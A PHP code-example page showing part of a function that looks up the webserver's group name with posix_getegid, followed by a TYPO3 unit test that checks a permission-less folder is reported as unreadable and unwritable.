if (!function_exists('posix_getegid') || !function_exists('posix_getpwuid')) {
# I don't know this, this isn't UNIX.
return null;
}
# posix_getegid() *not* getmygid() because we want the group of the webserver,
# not whoever owns the current script.
$gid = posix_getegid();
$getpwuid = posix_getpwuid($gid);
$group = $getpwuid['name'];
return $group;
}
示例15: permissionsAreCorrectlyRetrievedForForbiddenFolder
/**
* @test
*/
public function permissionsAreCorrectlyRetrievedForForbiddenFolder()
{
if (function_exists('posix_getegid') && posix_getegid() === 0) {
$this->markTestSkipped('Test skipped if run on linux as root');
} elseif (TYPO3_OS === 'WIN') {
$this->markTestSkipped('Test skipped if run on Windows system');
}
/** @var $fixture \TYPO3\CMS\Core\Resource\Driver\LocalDriver */
list($basedir, $fixture) = $this->prepareRealTestEnvironment();
mkdir($basedir . '/someForbiddenFolder');
chmod($basedir . '/someForbiddenFolder', 0);
clearstatcache();
$result = $fixture->getPermissions('/someForbiddenFolder');
// Change permissions back to writable, so the sub-folder can be removed in tearDown
chmod($basedir . '/someForbiddenFolder', 0777);
$this->assertEquals(array('r' => FALSE, 'w' => FALSE), $result);
}